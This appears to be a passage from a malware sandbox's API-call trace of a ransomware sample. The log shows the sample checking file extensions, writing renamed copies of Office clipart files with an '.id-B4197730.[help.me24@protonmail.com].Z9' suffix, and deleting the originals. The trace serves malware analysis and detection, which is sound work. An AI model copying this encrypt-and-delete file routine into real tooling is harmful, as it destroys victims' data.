	[0092.274] lstrlenW (lpString=".1cd") returned 4
	[0092.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0092.274] lstrlenW (lpString=".jpg") returned 4
	[0092.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0092.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0092.274] lstrlenW (lpString=".doc") returned 4
	[0092.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.274] lstrlenW (lpString=".docx") returned 5
	[0092.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.274] lstrlenW (lpString=".pdf") returned 4
	[0092.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.274] lstrlenW (lpString=".xls") returned 4
	[0092.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.274] lstrlenW (lpString=".xlsx") returned 5
	[0092.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.274] lstrlenW (lpString=".ppt") returned 4
	[0092.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0092.274] lstrlenW (lpString=".zip") returned 4
	[0092.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.274] lstrlenW (lpString=".rar") returned 4
	[0092.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.274] lstrlenW (lpString=".bz2") returned 4
	[0092.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.275] lstrlenW (lpString=".7z") returned 3
	[0092.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0092.275] lstrlenW (lpString=".dbf") returned 4
	[0092.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0092.275] lstrlenW (lpString=".1cd") returned 4
	[0092.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0092.275] lstrlenW (lpString=".jpg") returned 4
	[0092.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.275] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.275] lstrlenW (lpString="EN00320_.WMF") returned 12
	[0092.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0092.276] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=736) returned 1
	[0092.276] CloseHandle (hObject=0x358) returned 1
	[0092.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220
	[0092.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0092.276] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.276] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.277] GetLastError () returned 0x0
	[0092.277] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x2e0, lpOverlapped=0x0) returned 1
	[0092.278] WriteFile (in: hFile=0x384, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x2f0, lpOverlapped=0x0) returned 1
	[0092.279] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.279] WriteFile (in: hFile=0x384, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.279] SetEndOfFile (hFile=0x384) returned 1
	[0092.279] CloseHandle (hObject=0x384) returned 1
	[0092.279] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.279] SetEndOfFile (hFile=0x358) returned 1
	[0092.280] CloseHandle (hObject=0x358) returned 1
	[0092.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1
	[0092.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0092.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0092.280] lstrlenW (lpString=".doc") returned 4
	[0092.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.280] lstrlenW (lpString=".docx") returned 5
	[0092.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.281] lstrlenW (lpString=".pdf") returned 4
	[0092.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.281] lstrlenW (lpString=".xls") returned 4
	[0092.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.281] lstrlenW (lpString=".xlsx") returned 5
	[0092.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.281] lstrlenW (lpString=".ppt") returned 4
	[0092.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0092.281] lstrlenW (lpString=".zip") returned 4
	[0092.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.281] lstrlenW (lpString=".rar") returned 4
	[0092.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.281] lstrlenW (lpString=".bz2") returned 4
	[0092.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.281] lstrlenW (lpString=".7z") returned 3
	[0092.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0092.281] lstrlenW (lpString=".dbf") returned 4
	[0092.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0092.281] lstrlenW (lpString=".1cd") returned 4
	[0092.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0092.281] lstrlenW (lpString=".jpg") returned 4
	[0092.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0092.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0092.281] lstrlenW (lpString=".doc") returned 4
	[0092.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.281] lstrlenW (lpString=".docx") returned 5
	[0092.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.281] lstrlenW (lpString=".pdf") returned 4
	[0092.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.281] lstrlenW (lpString=".xls") returned 4
	[0092.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.282] lstrlenW (lpString=".xlsx") returned 5
	[0092.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.282] lstrlenW (lpString=".ppt") returned 4
	[0092.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0092.282] lstrlenW (lpString=".zip") returned 4
	[0092.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.282] lstrlenW (lpString=".rar") returned 4
	[0092.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.282] lstrlenW (lpString=".bz2") returned 4
	[0092.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.282] lstrlenW (lpString=".7z") returned 3
	[0092.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0092.282] lstrlenW (lpString=".dbf") returned 4
	[0092.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0092.282] lstrlenW (lpString=".1cd") returned 4
	[0092.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0092.282] lstrlenW (lpString=".jpg") returned 4
	[0092.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.282] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.282] lstrlenW (lpString="EN00397_.WMF") returned 12
	[0092.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0092.283] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=17308) returned 1
	[0092.283] CloseHandle (hObject=0x358) returned 1
	[0092.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220
	[0092.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0092.283] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.283] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.287] GetLastError () returned 0x0
	[0092.287] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x439c, lpOverlapped=0x0) returned 1
	[0092.596] WriteFile (in: hFile=0x384, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x43a0, lpOverlapped=0x0) returned 1
	[0092.597] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.597] WriteFile (in: hFile=0x384, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.597] SetEndOfFile (hFile=0x384) returned 1
	[0092.597] CloseHandle (hObject=0x384) returned 1
	[0092.597] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.597] SetEndOfFile (hFile=0x358) returned 1
	[0092.598] CloseHandle (hObject=0x358) returned 1
	[0092.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1
	[0092.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0092.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0092.676] lstrlenW (lpString=".doc") returned 4
	[0092.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.676] lstrlenW (lpString=".docx") returned 5
	[0092.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.676] lstrlenW (lpString=".pdf") returned 4
	[0092.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.676] lstrlenW (lpString=".xls") returned 4
	[0092.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.676] lstrlenW (lpString=".xlsx") returned 5
	[0092.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.676] lstrlenW (lpString=".ppt") returned 4
	[0092.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0092.694] lstrlenW (lpString=".zip") returned 4
	[0092.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.694] lstrlenW (lpString=".rar") returned 4
	[0092.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.694] lstrlenW (lpString=".bz2") returned 4
	[0092.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.694] lstrlenW (lpString=".7z") returned 3
	[0092.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0092.694] lstrlenW (lpString=".dbf") returned 4
	[0092.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0092.694] lstrlenW (lpString=".1cd") returned 4
	[0092.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0092.695] lstrlenW (lpString=".jpg") returned 4
	[0092.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0092.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0092.695] lstrlenW (lpString=".doc") returned 4
	[0092.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.695] lstrlenW (lpString=".docx") returned 5
	[0092.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.695] lstrlenW (lpString=".pdf") returned 4
	[0092.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.695] lstrlenW (lpString=".xls") returned 4
	[0092.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.695] lstrlenW (lpString=".xlsx") returned 5
	[0092.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.695] lstrlenW (lpString=".ppt") returned 4
	[0092.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0092.695] lstrlenW (lpString=".zip") returned 4
	[0092.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.695] lstrlenW (lpString=".rar") returned 4
	[0092.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.695] lstrlenW (lpString=".bz2") returned 4
	[0092.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.695] lstrlenW (lpString=".7z") returned 3
	[0092.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0092.695] lstrlenW (lpString=".dbf") returned 4
	[0092.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0092.695] lstrlenW (lpString=".1cd") returned 4
	[0092.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0092.695] lstrlenW (lpString=".jpg") returned 4
	[0092.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.700] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.700] lstrlenW (lpString="FD00336_.WMF") returned 12
	[0092.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.702] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=6068) returned 1
	[0092.702] CloseHandle (hObject=0x384) returned 1
	[0092.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220
	[0092.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.702] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.702] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.703] GetLastError () returned 0x0
	[0092.703] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x17b4, lpOverlapped=0x0) returned 1
	[0092.728] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x17c0, lpOverlapped=0x0) returned 1
	[0092.729] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.729] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.729] SetEndOfFile (hFile=0x350) returned 1
	[0092.730] CloseHandle (hObject=0x350) returned 1
	[0092.730] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.730] SetEndOfFile (hFile=0x384) returned 1
	[0092.732] CloseHandle (hObject=0x384) returned 1
	[0092.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1
	[0092.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0092.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0092.732] lstrlenW (lpString=".doc") returned 4
	[0092.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.732] lstrlenW (lpString=".docx") returned 5
	[0092.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.732] lstrlenW (lpString=".pdf") returned 4
	[0092.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.732] lstrlenW (lpString=".xls") returned 4
	[0092.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.732] lstrlenW (lpString=".xlsx") returned 5
	[0092.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.732] lstrlenW (lpString=".ppt") returned 4
	[0092.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0092.733] lstrlenW (lpString=".zip") returned 4
	[0092.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.733] lstrlenW (lpString=".rar") returned 4
	[0092.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.733] lstrlenW (lpString=".bz2") returned 4
	[0092.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.733] lstrlenW (lpString=".7z") returned 3
	[0092.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0092.733] lstrlenW (lpString=".dbf") returned 4
	[0092.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
